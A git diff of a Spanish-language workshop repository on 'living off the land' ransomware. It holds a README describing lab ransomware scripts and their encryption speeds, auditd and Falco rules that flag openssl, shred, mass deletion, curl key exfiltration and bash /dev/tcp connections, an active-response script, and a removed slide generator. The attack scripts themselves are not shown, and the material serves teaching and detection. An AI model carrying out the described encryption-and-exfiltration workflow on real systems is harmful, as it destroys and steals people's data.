Compare commits
7 Commits
2928ef8581
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
| 6d3e0b2a58 | |||
| 27b7f5e540 | |||
| f7c82dc9a6 | |||
| 0b206aac31 | |||
| ffb9fd50aa | |||
| e671ec8ea5 | |||
| 3e6e7593da |
2
QueComanTierra/.gitignore
vendored
2
QueComanTierra/.gitignore
vendored
@@ -2,3 +2,5 @@ stolen_keys.log
|
||||
vaults/
|
||||
__pycache__/
|
||||
*.pyc
|
||||
slides/redteam_ref.pptx
|
||||
|
||||
|
||||
118
QueComanTierra/README.md
Normal file
118
QueComanTierra/README.md
Normal file
@@ -0,0 +1,118 @@
|
||||
# que coman tierra
|
||||
|
||||
taller de seguridad ofensiva y defensiva sobre LOLBins y ransomware sin malware.
|
||||
|
||||
el nombre viene de la sensación que te da descubrir que un atacante cifró tus servidores enteros sin instalar absolutamente nada.
|
||||
|
||||
---
|
||||
|
||||
## de qué va esto
|
||||
|
||||
los atacantes modernos no necesitan droppers ni ejecutables sospechosos. usan las herramientas que ya vienen en cualquier linux: `openssl`, `find`, `xargs`, `shred`, `cron`. eso se llama "living off the land" y es exactamente por qué el antivirus no sirve de nada contra esto.
|
||||
|
||||
en este taller construimos un ransomware funcional con solo binarios del sistema, lo ejecutamos en lab, medimos qué tan rápido destruye archivos y después aprendemos a detectarlo y frenarlo.
|
||||
|
||||
---
|
||||
|
||||
## estructura
|
||||
|
||||
```
|
||||
QueComanTierra/
|
||||
ransomware/
|
||||
loader.sh -- script principal, orquesta todo el ataque
|
||||
xargs_ransom.sh -- versión paralela con xargs -P (cifrado rápido)
|
||||
noxargs_ransom.sh -- versión secuencial para comparar tiempos
|
||||
tarbulk.sh -- variante que cifra todo como un solo blob (< 10s)
|
||||
scripts/
|
||||
getkeys.sh -- generación y manejo de claves efímeras
|
||||
stealdata.sh -- exfiltración de la clave al C2
|
||||
detection/
|
||||
falco_rules.yaml -- reglas falco para detectar el comportamiento en runtime
|
||||
falco.yaml -- config para falco
|
||||
auditd_rules.rules -- reglas para auditd
|
||||
slides/
|
||||
slides.md -- fuente de la presentación (pandoc/reveal.js)
|
||||
slides.pptx -- presentación compilada
|
||||
estructura.md -- notas de estructura del taller
|
||||
notas.md -- notas del instructor
|
||||
press/
|
||||
Tierra.jpg -- imagen de portada
|
||||
Tierra.pdf -- material de prensa/flyer
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## módulos del taller
|
||||
|
||||
1. **el problema invisible** -- qué son los LOLBins y por qué los AV no los paran
|
||||
2. **el arsenal del sistema** -- `openssl`, `find`, `xargs`, `shred`, `cron` como armas
|
||||
3. **anatomía de un ataque** -- las 7 fases: reconocimiento, clave, cifrado, destrucción, exfiltración, rescate, persistencia
|
||||
4. **lab: preparando el plato** -- ejercicios hands-on en VM aislada
|
||||
5. **defensa: cómo no comer tierra** -- auditd, falco, backups inmutables, mínimo privilegio, runbook de respuesta
|
||||
6. **cierre** -- recursos y tarea
|
||||
|
||||
---
|
||||
|
||||
## el lab en números
|
||||
|
||||
en un servidor real con `xargs -P 36`:
|
||||
|
||||
| variante | archivos | tiempo | ventana de detección |
|
||||
|---|---|---|---|
|
||||
| `while` loop | 3.301 | 13m 40s | tienes tiempo de actuar |
|
||||
| `xargs -P 36` | 3.301 | 1m 49s | necesitas detección automática |
|
||||
| `tar + openssl` | 3.470 | 4.5s | cuando llegas ya terminó |
|
||||
|
||||
el punto del ejercicio es que el `tarbulk` no se puede parar en runtime, solo antes.
|
||||
|
||||
---
|
||||
|
||||
## requisitos para el lab
|
||||
|
||||
- VM ubuntu/debian aislada (sin red real, en serio)
|
||||
- snapshot limpio para restaurar entre ejercicios
|
||||
- usuario no-root con home poblado de archivos de prueba
|
||||
- herramientas: `openssl`, `find`, `xargs`, `shred`, `auditd`, opcionalmente `falco`
|
||||
|
||||
**nunca ejecutar los scripts fuera de la VM de lab.**
|
||||
|
||||
---
|
||||
|
||||
## compilar las slides
|
||||
|
||||
```bash
|
||||
# pptx con plantilla corporativa
|
||||
pandoc slides/slides.md -t pptx \
|
||||
--reference-doc="redteam_ref.pptx" \
|
||||
-o slides/slides.pptx
|
||||
|
||||
# reveal.js para presentar en browser
|
||||
pandoc slides/slides.md -t revealjs -s \
|
||||
--highlight-style=monokai \
|
||||
-o slides/slides.html
|
||||
```
|
||||
|
||||
o usar el script incluido:
|
||||
|
||||
```bash
|
||||
cd slides && ./compile.sh
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## referencias
|
||||
|
||||
- gtfobins -- catálogo de LOLBins en linux
|
||||
- lolbas -- equivalente para windows
|
||||
- mitre att&ck t1486 -- data encrypted for impact
|
||||
- github.com/neo23x0/auditd -- reglas auditd listas para usar
|
||||
|
||||
---
|
||||
|
||||
## contexto legal
|
||||
|
||||
este material es exclusivamente para uso educativo en entornos controlados. los scripts están documentados para que se entienda cómo funcionan los ataques y cómo detectarlos, no para uso ofensivo real. ejecutar esto fuera de un lab autorizado es ilegal.
|
||||
|
||||
---
|
||||
|
||||
*2026*
|
||||
71
QueComanTierra/detection/auditd_rules.rules
Normal file
71
QueComanTierra/detection/auditd_rules.rules
Normal file
@@ -0,0 +1,71 @@
|
||||
## auditd rules: detección LOLBin ransomware (formato nuevo, sin -w legacy)
|
||||
## Cubre: noxargs_ransom, xargs_ransom, tarbulk
|
||||
## Instalar: cp auditd_rules.rules /etc/audit/rules.d/lolbin-ransom.rules && augenrules --load
|
||||
##
|
||||
## Correlación post-evento:
|
||||
## ausearch -k crypto_exec --start today | aureport -x --summary
|
||||
## ausearch -k mass_unlink --start today | wc -l # >500 en <10s = tarbulk
|
||||
## ausearch -k bash_tcp --start today -i
|
||||
## ==========================================================================
|
||||
|
||||
## --------------------------------------------------------------------------
|
||||
## COMUN A LOS TRES ESTILOS
|
||||
## --------------------------------------------------------------------------
|
||||
|
||||
## Reconocimiento: find / -type f -writable
|
||||
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/find -k lolbin_recon
|
||||
-a always,exit -F arch=b32 -S execve -F exe=/usr/bin/find -k lolbin_recon
|
||||
|
||||
## openssl: generación de clave (rand) y cifrado (enc). Ambos usos relevantes.
|
||||
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/openssl -k crypto_exec
|
||||
-a always,exit -F arch=b32 -S execve -F exe=/usr/bin/openssl -k crypto_exec
|
||||
|
||||
## Escritura en /tmp: .key, .vault.enc, .targets
|
||||
-a always,exit -F arch=b64 -S open,openat,creat -F dir=/tmp -F success=1 -k tmp_staging
|
||||
-a always,exit -F arch=b32 -S open,openat,creat -F dir=/tmp -F success=1 -k tmp_staging
|
||||
|
||||
## --------------------------------------------------------------------------
|
||||
## NOXARGS_RANSOM + XARGS_RANSOM
|
||||
## Señal: miles de EXECVE de openssl y shred en minutos
|
||||
## --------------------------------------------------------------------------
|
||||
|
||||
## shred -u por archivo. noxargs: secuencial. xargs: hasta 36 concurrentes.
|
||||
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/shred -k shred_exec
|
||||
-a always,exit -F arch=b32 -S execve -F exe=/usr/bin/shred -k shred_exec
|
||||
|
||||
## xargs con -P alto: el multiplicador de paralelismo
|
||||
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/xargs -k xargs_exec
|
||||
-a always,exit -F arch=b32 -S execve -F exe=/usr/bin/xargs -k xargs_exec
|
||||
|
||||
## Persistencia via crontab (re-cifra archivos nuevos cada 5 min)
|
||||
-a always,exit -F arch=b64 -S open,openat,creat,rename,unlink -F dir=/var/spool/cron -F success=1 -k crontab_mod
|
||||
-a always,exit -F arch=b32 -S open,openat,creat,rename,unlink -F dir=/var/spool/cron -F success=1 -k crontab_mod
|
||||
-a always,exit -F arch=b64 -S open,openat,creat,rename,unlink -F dir=/etc/cron.d -F success=1 -k crontab_mod
|
||||
-a always,exit -F arch=b32 -S open,openat,creat,rename,unlink -F dir=/etc/cron.d -F success=1 -k crontab_mod
|
||||
|
||||
## curl: exfiltración de clave en noxargs y xargs
|
||||
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/curl -k key_exfil_curl
|
||||
-a always,exit -F arch=b32 -S execve -F exe=/usr/bin/curl -k key_exfil_curl
|
||||
|
||||
## --------------------------------------------------------------------------
|
||||
## TARBULK
|
||||
## Señal: UN solo openssl, storm de unlink, connect() desde bash
|
||||
## --------------------------------------------------------------------------
|
||||
|
||||
## tar -czf - (stdout): staging para el pipe a openssl
|
||||
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/tar -k tar_exec
|
||||
-a always,exit -F arch=b32 -S execve -F exe=/usr/bin/tar -k tar_exec
|
||||
|
||||
## unlink/unlinkat masivo: rm -f sobre 3470 archivos tras el cifrado.
|
||||
## Esta regla dispara una vez por archivo. El volumen es la alerta.
|
||||
-a always,exit -F arch=b64 -S unlink,unlinkat -F auid>=1000 -k mass_unlink
|
||||
-a always,exit -F arch=b32 -S unlink,unlinkat -F auid>=1000 -k mass_unlink
|
||||
-a always,exit -F arch=b64 -S unlink,unlinkat -F uid=0 -k mass_unlink
|
||||
-a always,exit -F arch=b32 -S unlink,unlinkat -F uid=0 -k mass_unlink
|
||||
|
||||
## connect() desde bash: exfiltración via /dev/tcp sin curl ni wget.
|
||||
## Alta fidelidad: bash no debería abrir sockets TCP directamente.
|
||||
-a always,exit -F arch=b64 -S connect -F exe=/usr/bin/bash -k bash_tcp
|
||||
-a always,exit -F arch=b32 -S connect -F exe=/usr/bin/bash -k bash_tcp
|
||||
-a always,exit -F arch=b64 -S connect -F exe=/bin/bash -k bash_tcp
|
||||
-a always,exit -F arch=b32 -S connect -F exe=/bin/bash -k bash_tcp
|
||||
47
QueComanTierra/detection/falco.yaml
Normal file
47
QueComanTierra/detection/falco.yaml
Normal file
@@ -0,0 +1,47 @@
|
||||
# falco.yaml: Configuración mínima para QueComanTierra con respuesta activa
|
||||
#
|
||||
# Falco por defecto sólo DETECTA. Con program_output le decimos que pipe
|
||||
# cada alerta que coincida con una regla CRITICAL/WARNING al response script.
|
||||
|
||||
rules_file:
|
||||
- /etc/falco/falco_rules.yaml # reglas upstream de Falco
|
||||
- /opt/qct/detection/falco_rules.yaml # reglas QueComanTierra
|
||||
|
||||
# ── Salidas ────────────────────────────────────────────────────────────────
|
||||
|
||||
json_output: true # el response script consume JSON
|
||||
|
||||
# stdout: útil en desarrollo / journald
|
||||
stdout_output:
|
||||
enabled: true
|
||||
|
||||
# file: persistencia local
|
||||
file_output:
|
||||
enabled: true
|
||||
keep_alive: false
|
||||
filename: /var/log/falco.log
|
||||
|
||||
# program_output: cada alerta se pipe al response handler
|
||||
# El script recibe el JSON completo en stdin.
|
||||
# keep_alive: false → proceso nuevo por alerta (más seguro, más lento).
|
||||
# Para entornos de producción con alto volumen, poner true y manejar
|
||||
# el stream NDJSON dentro del script.
|
||||
program_output:
|
||||
enabled: true
|
||||
keep_alive: false
|
||||
program: "/opt/qct/detection/falco_response.sh"
|
||||
|
||||
# ── Filtros de prioridad ───────────────────────────────────────────────────
|
||||
# Solo dispara program_output para WARNING y superior.
|
||||
# NOTICE/INFO se escriben a log pero no activan respuesta.
|
||||
priority: warning
|
||||
|
||||
# ── Syscall buffer ─────────────────────────────────────────────────────────
|
||||
# Aumentar si se pierden eventos durante el bulk xargs (Regla 3).
|
||||
syscall_buf_size_preset: 4 # 4 MB por CPU
|
||||
|
||||
# ── Métricas (opcional) ────────────────────────────────────────────────────
|
||||
metrics:
|
||||
enabled: true
|
||||
interval: 60s
|
||||
resource_utilization_enabled: true
|
||||
77
QueComanTierra/detection/falco_response.sh
Normal file
77
QueComanTierra/detection/falco_response.sh
Normal file
@@ -0,0 +1,77 @@
|
||||
#!/usr/bin/env bash
|
||||
# falco_response.sh: Active response handler for QueComanTierra Falco rules
|
||||
#
|
||||
# Falco pipes JSON alerts here via program_output.
|
||||
# Per-rule actions:
|
||||
# Bash Native TCP Exfiltration → kill PID + ss --kill socket
|
||||
# Shell Spawning OpenSSL Bulk Enc. → kill PID (kills openssl + parent shell)
|
||||
# Mass Document Deletion by Shell → kill PID
|
||||
# Hidden Encrypted Archive in Tmp → kill PID + remove the .enc file
|
||||
#
|
||||
# IMPORTANT: runs as root (Falco requirement). Validate PIDs before killing.
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
LOG="/var/log/falco-response.log"
|
||||
ALERT=$(cat) # full JSON from Falco
|
||||
|
||||
log() { echo "$(date -u +%FT%TZ) [RESPONSE] $*" | tee -a "$LOG" >&2; }
|
||||
|
||||
rule=$(echo "$ALERT" | jq -r '.rule')
|
||||
pid=$(echo "$ALERT" | jq -r '.output_fields["proc.pid"] // empty')
|
||||
dst_ip=$(echo "$ALERT" | jq -r '.output_fields["fd.rip"] // empty')
|
||||
dst_port=$(echo "$ALERT"| jq -r '.output_fields["fd.rport"]// empty')
|
||||
file=$(echo "$ALERT" | jq -r '.output_fields["fd.name"] // empty')
|
||||
user=$(echo "$ALERT" | jq -r '.output_fields["user.name"]// empty')
|
||||
|
||||
log "RULE='$rule' PID='$pid' USER='$user'"
|
||||
|
||||
kill_pid() {
|
||||
local p="$1"
|
||||
# Validate: PID must be numeric and process must still exist
|
||||
[[ "$p" =~ ^[0-9]+$ ]] || { log "PID inválido: $p"; return 1; }
|
||||
[[ -d "/proc/$p" ]] || { log "PID $p ya no existe"; return 0; }
|
||||
log "KILL -9 $p ($(cat /proc/$p/cmdline | tr '\0' ' '))"
|
||||
kill -9 "$p" && log "PID $p terminado" || log "No se pudo matar $p"
|
||||
}
|
||||
|
||||
kill_socket() {
|
||||
local ip="$1" port="$2"
|
||||
[[ -n "$ip" && -n "$port" ]] || return 0
|
||||
log "Cerrando socket TCP → $ip:$port"
|
||||
# ss --kill requiere iproute2 >= 5.3
|
||||
ss --kill state established dst "${ip}:${port}" 2>>"$LOG" \
|
||||
&& log "Socket $ip:$port cerrado" \
|
||||
|| log "ss --kill falló (¿iproute2 < 5.3?)"
|
||||
}
|
||||
|
||||
case "$rule" in
|
||||
"Bash Native TCP Exfiltration")
|
||||
log "ACCIÓN: matar proceso + cerrar socket"
|
||||
kill_pid "$pid"
|
||||
kill_socket "$dst_ip" "$dst_port"
|
||||
;;
|
||||
|
||||
"Shell Spawning OpenSSL Bulk Encryption")
|
||||
log "ACCIÓN: matar proceso openssl"
|
||||
kill_pid "$pid"
|
||||
;;
|
||||
|
||||
"Mass Document Deletion by Shell Process")
|
||||
log "ACCIÓN: matar proceso de borrado masivo"
|
||||
kill_pid "$pid"
|
||||
;;
|
||||
|
||||
"Hidden Encrypted Archive Staged in Tmp")
|
||||
log "ACCIÓN: matar proceso + eliminar vault"
|
||||
kill_pid "$pid"
|
||||
if [[ -n "$file" && "$file" == /tmp/*.enc && "$file" == /tmp/.* ]]; then
|
||||
log "Eliminando vault cifrado: $file"
|
||||
rm -f "$file" && log "Vault eliminado" || log "No se pudo eliminar $file"
|
||||
fi
|
||||
;;
|
||||
|
||||
*)
|
||||
log "Regla desconocida, sin acción automática: $rule"
|
||||
;;
|
||||
esac
|
||||
@@ -56,8 +56,7 @@
|
||||
openssl enc desde shell, posible cifrado masivo
|
||||
(user=%user.name uid=%user.uid
|
||||
cmd=%proc.cmdline
|
||||
parent=%proc.pname ppid=%proc.ppid
|
||||
container=%container.name)
|
||||
parent=%proc.pname ppid=%proc.ppid)
|
||||
priority: WARNING
|
||||
tags: [lolbin, ransomware, T1486, T1059.004]
|
||||
|
||||
@@ -90,8 +89,7 @@
|
||||
bash abrió conexión TCP directa, posible /dev/tcp exfiltración
|
||||
(user=%user.name uid=%user.uid
|
||||
dst=%fd.rip:%fd.rport
|
||||
pid=%proc.pid cmd=%proc.cmdline
|
||||
container=%container.name)
|
||||
pid=%proc.pid cmd=%proc.cmdline)
|
||||
priority: CRITICAL
|
||||
tags: [lolbin, exfiltration, T1048, T1059.004]
|
||||
|
||||
@@ -120,8 +118,7 @@
|
||||
documento de usuario eliminado por proceso shell
|
||||
(user=%user.name uid=%user.uid
|
||||
file=%fd.name
|
||||
proc=%proc.name cmd=%proc.cmdline
|
||||
container=%container.name)
|
||||
proc=%proc.name cmd=%proc.cmdline)
|
||||
priority: WARNING
|
||||
tags: [ransomware, destruction, T1486]
|
||||
|
||||
@@ -149,7 +146,6 @@
|
||||
archivo cifrado oculto creado en /tmp, posible vault de ransomware
|
||||
(user=%user.name uid=%user.uid
|
||||
file=%fd.name
|
||||
proc=%proc.name cmd=%proc.cmdline
|
||||
container=%container.name)
|
||||
proc=%proc.name cmd=%proc.cmdline)
|
||||
priority: CRITICAL
|
||||
tags: [ransomware, staging, T1486, T1074]
|
||||
|
||||
@@ -1,340 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Genera slides.pptx desde slides.md usando la plantilla Diplomados Ciberseguridad.
|
||||
Los backgrounds se copian directamente desde los slides del template.
|
||||
"""
|
||||
from pptx import Presentation
|
||||
from pptx.util import Pt, Emu
|
||||
from pptx.dml.color import RGBColor
|
||||
from lxml import etree
|
||||
import copy, re, zipfile, io, tempfile, os
|
||||
|
||||
TEMPLATE = "../../Red Team.pptx"
|
||||
SOURCE = "slides.md"
|
||||
OUTPUT = "slides.pptx"
|
||||
|
||||
# Layouts en la plantilla (por nombre español)
|
||||
L_TITLE = 0 # Diapositiva de titulo (idx 0=ctrTitle, 1=subTitle)
|
||||
L_CONTENT = 1 # Titulo y objetos (idx 0=title, 1=content)
|
||||
L_SECTION = 2 # Encabezado de seccion (idx 0=title, 1=body)
|
||||
|
||||
# Slides del template que sirven como fuente de backgrounds
|
||||
# slide1=portada, slide3=contenido, slide5=seccion divisor
|
||||
BG_TITLE = 0 # image1.jpg — portada con fondo binario rojo
|
||||
BG_CONTENT = 2 # image3.jpg — slide normal con logos y barra roja
|
||||
BG_SECTION = 4 # image5.jpg — divisor rojo degradado
|
||||
|
||||
PNS = 'http://schemas.openxmlformats.org/presentationml/2006/main'
|
||||
ANS = 'http://schemas.openxmlformats.org/drawingml/2006/main'
|
||||
RNS = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships'
|
||||
IMG_REL = f'{RNS}/image'
|
||||
|
||||
# ─── template limpio ─────────────────────────────────────────────────────────
|
||||
|
||||
def make_clean_template(src):
|
||||
"""Devuelve BytesIO: template sin slides (master/layouts/media intactos)."""
|
||||
SLIDE_XML = re.compile(r'^ppt/slides/slide\d+\.xml$')
|
||||
SLIDE_RELS = re.compile(r'^ppt/slides/_rels/slide\d+\.xml\.rels$')
|
||||
SLIDE_CT = 'application/vnd.openxmlformats-officedocument.presentationml.slide+xml'
|
||||
SLIDE_REL_TYPE = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/slide'
|
||||
PKG_NS = 'http://schemas.openxmlformats.org/package/2006/relationships'
|
||||
PML_NS = 'http://schemas.openxmlformats.org/presentationml/2006/main'
|
||||
CT_NS = 'http://schemas.openxmlformats.org/package/2006/content-types'
|
||||
|
||||
buf = io.BytesIO()
|
||||
with zipfile.ZipFile(src, 'r') as zin, \
|
||||
zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zout:
|
||||
for item in zin.infolist():
|
||||
name = item.filename
|
||||
if SLIDE_XML.match(name) or SLIDE_RELS.match(name):
|
||||
continue # eliminar slides y sus rels del ZIP
|
||||
data = zin.read(name)
|
||||
|
||||
if name == 'ppt/presentation.xml':
|
||||
root = etree.fromstring(data)
|
||||
lst = root.find(f'{{{PML_NS}}}sldIdLst')
|
||||
if lst is not None:
|
||||
lst.clear()
|
||||
data = etree.tostring(root, xml_declaration=True,
|
||||
encoding='UTF-8', standalone=True)
|
||||
|
||||
elif name == 'ppt/_rels/presentation.xml.rels':
|
||||
root = etree.fromstring(data)
|
||||
for rel in root.findall(f'{{{PKG_NS}}}Relationship'):
|
||||
if rel.get('Type') == SLIDE_REL_TYPE:
|
||||
root.remove(rel)
|
||||
data = etree.tostring(root, xml_declaration=True,
|
||||
encoding='UTF-8', standalone=True)
|
||||
|
||||
elif name == '[Content_Types].xml':
|
||||
root = etree.fromstring(data)
|
||||
for ov in root.findall(f'{{{CT_NS}}}Override'):
|
||||
if ov.get('ContentType') == SLIDE_CT:
|
||||
root.remove(ov)
|
||||
data = etree.tostring(root, xml_declaration=True,
|
||||
encoding='UTF-8', standalone=True)
|
||||
|
||||
zout.writestr(item, data)
|
||||
|
||||
buf.seek(0)
|
||||
return buf
|
||||
|
||||
# ─── background copy ──────────────────────────────────────────────────────────
|
||||
|
||||
def copy_background(new_slide, template_slide):
|
||||
"""Copia el <p:bg> del template_slide al new_slide, remapeando el rId de imagen."""
|
||||
cSld_tmpl = template_slide._element.find(f'{{{PNS}}}cSld')
|
||||
bg = cSld_tmpl.find(f'{{{PNS}}}bg') if cSld_tmpl is not None else None
|
||||
if bg is None:
|
||||
return
|
||||
|
||||
blip = bg.find(f'.//{{{ANS}}}blip')
|
||||
if blip is None:
|
||||
return
|
||||
|
||||
old_rId = blip.get(f'{{{RNS}}}embed')
|
||||
if not old_rId:
|
||||
return
|
||||
|
||||
# Obtener la imagen del template y relacionarla con el nuevo slide
|
||||
image_part = template_slide.part.related_part(old_rId)
|
||||
new_rId = new_slide.part.relate_to(image_part, IMG_REL)
|
||||
|
||||
# Clonar <p:bg> y actualizar el rId
|
||||
new_bg = copy.deepcopy(bg)
|
||||
new_blip = new_bg.find(f'.//{{{ANS}}}blip')
|
||||
new_blip.set(f'{{{RNS}}}embed', new_rId)
|
||||
|
||||
# Insertar en cSld del nuevo slide (antes de spTree)
|
||||
new_cSld = new_slide._element.find(f'{{{PNS}}}cSld')
|
||||
existing_bg = new_cSld.find(f'{{{PNS}}}bg')
|
||||
if existing_bg is not None:
|
||||
new_cSld.remove(existing_bg)
|
||||
new_cSld.insert(0, new_bg)
|
||||
|
||||
# ─── helpers de texto ─────────────────────────────────────────────────────────
|
||||
|
||||
def clean(text):
|
||||
text = re.sub(r'\*\*(.*?)\*\*', r'\1', text)
|
||||
text = re.sub(r'\*(.*?)\*', r'\1', text)
|
||||
text = re.sub(r'`(.*?)`', r'\1', text)
|
||||
text = re.sub(r'^\s*>\s?', '', text, flags=re.MULTILINE)
|
||||
return text.strip()
|
||||
|
||||
def fill_placeholder(ph, lines):
|
||||
tf = ph.text_frame
|
||||
tf.word_wrap = True
|
||||
tf.clear()
|
||||
|
||||
in_code = False
|
||||
first_p = True
|
||||
|
||||
for line in lines:
|
||||
if line.startswith('```'):
|
||||
in_code = not in_code
|
||||
continue
|
||||
if re.match(r'^\s*\|?[-:| ]+\|', line):
|
||||
continue
|
||||
|
||||
stripped = line.rstrip()
|
||||
if not stripped and not in_code:
|
||||
continue
|
||||
|
||||
p = tf.paragraphs[0] if first_p else tf.add_paragraph()
|
||||
first_p = False
|
||||
|
||||
bullet = re.match(r'^(\s*)([-*]|\d+\.) (.+)', stripped)
|
||||
if bullet and not in_code:
|
||||
indent = len(bullet.group(1)) // 2
|
||||
p.level = min(indent + 1, 4)
|
||||
run = p.add_run()
|
||||
run.text = clean(bullet.group(3))
|
||||
elif in_code:
|
||||
# Eliminar bullet del párrafo
|
||||
pPr = p._p.get_or_add_pPr()
|
||||
for child in list(pPr):
|
||||
if child.tag.split('}')[-1].startswith('bu'):
|
||||
pPr.remove(child)
|
||||
pPr.append(etree.SubElement(pPr, f'{{{ANS}}}buNone'))
|
||||
run = p.add_run()
|
||||
run.text = stripped.lstrip()
|
||||
run.font.name = 'Courier New'
|
||||
run.font.size = Pt(13)
|
||||
run.font.color.rgb = RGBColor(0xC0, 0x00, 0x00)
|
||||
else:
|
||||
heading = re.match(r'^#{2,4} (.+)', stripped)
|
||||
if heading:
|
||||
run = p.add_run()
|
||||
run.text = clean(heading.group(1))
|
||||
run.font.bold = True
|
||||
else:
|
||||
run = p.add_run()
|
||||
run.text = clean(stripped)
|
||||
|
||||
# ─── parser ───────────────────────────────────────────────────────────────────
|
||||
|
||||
def parse_slides(path):
|
||||
with open(path) as f:
|
||||
raw = f.read()
|
||||
raw = re.sub(r'^---\n.*?\n---\n', '', raw, flags=re.DOTALL)
|
||||
blocks = re.split(r'\n---\n', raw)
|
||||
return [b.strip() for b in blocks if b.strip()]
|
||||
|
||||
def classify(block):
|
||||
lines = block.split('\n')
|
||||
first = lines[0]
|
||||
|
||||
if re.match(r'^# ', first):
|
||||
title = re.sub(r'^# ', '', first).replace('{.center}', '').strip()
|
||||
body = [l for l in lines[1:] if l.strip() and not l.startswith('{')]
|
||||
return ('section', title, body)
|
||||
|
||||
if re.match(r'^## \{\.center\}', first) or first.strip() == '## {.center}':
|
||||
body = [l for l in lines[1:] if l.strip()]
|
||||
return ('section', '', body)
|
||||
|
||||
if re.match(r'^## ', first):
|
||||
title = re.sub(r'^## ', '', first).strip()
|
||||
return ('content', title, lines[1:])
|
||||
|
||||
return ('content', '', lines)
|
||||
|
||||
# ─── tables ───────────────────────────────────────────────────────────────────
|
||||
|
||||
def parse_md_table(lines):
|
||||
"""Separa lineas en (non_table_lines, table_rows).
|
||||
Ignora pipes dentro de code fences para no confundirlos con tablas."""
|
||||
is_table = lambda l: bool(re.match(r'\s*\|', l.strip()) and '|' in l)
|
||||
is_sep = lambda l: bool(re.match(r'^\s*\|?[-:| ]+\|', l))
|
||||
|
||||
non_table, rows = [], []
|
||||
in_code = False
|
||||
for line in lines:
|
||||
if line.startswith('```'):
|
||||
in_code = not in_code
|
||||
non_table.append(line)
|
||||
continue
|
||||
if in_code:
|
||||
non_table.append(line)
|
||||
continue
|
||||
if is_sep(line):
|
||||
continue
|
||||
if is_table(line):
|
||||
cells = [clean(c.strip()) for c in line.strip().strip('|').split('|')]
|
||||
rows.append(cells)
|
||||
else:
|
||||
non_table.append(line)
|
||||
return non_table, rows
|
||||
|
||||
def add_pptx_table(slide, rows, left, top, width, height):
|
||||
"""Añade una tabla PPTX estilizada en las coordenadas dadas."""
|
||||
if not rows:
|
||||
return
|
||||
n_rows = len(rows)
|
||||
n_cols = max(len(r) for r in rows)
|
||||
|
||||
tbl = slide.shapes.add_table(n_rows, n_cols, left, top, width, height).table
|
||||
|
||||
# Distribuir columnas proporcionalmente (col0 más estrecha = herramienta)
|
||||
if n_cols == 2:
|
||||
tbl.columns[0].width = int(width * 0.25)
|
||||
tbl.columns[1].width = int(width * 0.75)
|
||||
else:
|
||||
for i in range(n_cols):
|
||||
tbl.columns[i].width = width // n_cols
|
||||
|
||||
RED = RGBColor(0x8B, 0x00, 0x00)
|
||||
WHITE = RGBColor(0xFF, 0xFF, 0xFF)
|
||||
BLACK = RGBColor(0x00, 0x00, 0x00)
|
||||
LIGHT = RGBColor(0xF2, 0xF2, 0xF2)
|
||||
|
||||
for ri, row in enumerate(rows):
|
||||
header = (ri == 0)
|
||||
for ci in range(n_cols):
|
||||
cell = tbl.cell(ri, ci)
|
||||
text = row[ci] if ci < len(row) else ''
|
||||
cell.text = text
|
||||
cell.fill.solid()
|
||||
cell.fill.fore_color.rgb = RED if header else (LIGHT if ri % 2 == 0 else WHITE)
|
||||
for para in cell.text_frame.paragraphs:
|
||||
for run in para.runs:
|
||||
run.font.size = Pt(14)
|
||||
run.font.bold = header
|
||||
run.font.color.rgb = WHITE if header else BLACK
|
||||
|
||||
# ─── builder ──────────────────────────────────────────────────────────────────
|
||||
|
||||
def build():
|
||||
# Template original: solo para extraer backgrounds
|
||||
tmpl = Presentation(TEMPLATE)
|
||||
tmpl_slides = list(tmpl.slides)
|
||||
|
||||
# Template limpio: sin slides, para construir desde cero
|
||||
clean_buf = make_clean_template(TEMPLATE)
|
||||
prs = Presentation(clean_buf)
|
||||
|
||||
blocks = parse_slides(SOURCE)
|
||||
|
||||
def add(layout_idx, bg_idx):
|
||||
slide = prs.slides.add_slide(prs.slide_layouts[layout_idx])
|
||||
copy_background(slide, tmpl_slides[bg_idx])
|
||||
return slide
|
||||
|
||||
# Slide 1: portada
|
||||
slide = add(L_TITLE, BG_TITLE)
|
||||
for ph in slide.placeholders:
|
||||
if ph.placeholder_format.idx == 0:
|
||||
ph.text = "Que coman tierra"
|
||||
elif ph.placeholder_format.idx == 1:
|
||||
ph.text = "De LOLBINs a ransomware\nDiplomados Ciberseguridad"
|
||||
|
||||
# Slides desde markdown
|
||||
for block in blocks:
|
||||
kind, title, body_lines = classify(block)
|
||||
|
||||
if kind == 'section':
|
||||
slide = add(L_SECTION, BG_SECTION)
|
||||
for ph in slide.placeholders:
|
||||
if ph.placeholder_format.idx == 0:
|
||||
ph.text = title
|
||||
elif ph.placeholder_format.idx == 1 and body_lines:
|
||||
fill_placeholder(ph, body_lines)
|
||||
for para in ph.text_frame.paragraphs:
|
||||
for run in para.runs:
|
||||
run.font.color.rgb = RGBColor(0x00, 0x00, 0x00)
|
||||
else:
|
||||
slide = add(L_CONTENT, BG_CONTENT)
|
||||
non_tbl, tbl_rows = parse_md_table(body_lines)
|
||||
for ph in slide.placeholders:
|
||||
if ph.placeholder_format.idx == 0:
|
||||
ph.text = title
|
||||
elif ph.placeholder_format.idx == 1:
|
||||
if tbl_rows:
|
||||
# Usar posicion del placeholder para colocar la tabla
|
||||
sp = ph._element
|
||||
xfrm = sp.find(f'.//{{{ANS}}}xfrm')
|
||||
if xfrm is not None:
|
||||
off = xfrm.find(f'{{{ANS}}}off')
|
||||
ext = xfrm.find(f'{{{ANS}}}ext')
|
||||
l = int(off.get('x', 0))
|
||||
t = int(off.get('y', 0))
|
||||
w = int(ext.get('cx', 0))
|
||||
h = int(ext.get('cy', 0))
|
||||
else:
|
||||
l, t, w, h = 838200, 1600200, 10515600, 4500000
|
||||
# Si hay texto además de tabla, reducir altura de tabla
|
||||
if non_tbl:
|
||||
fill_placeholder(ph, non_tbl)
|
||||
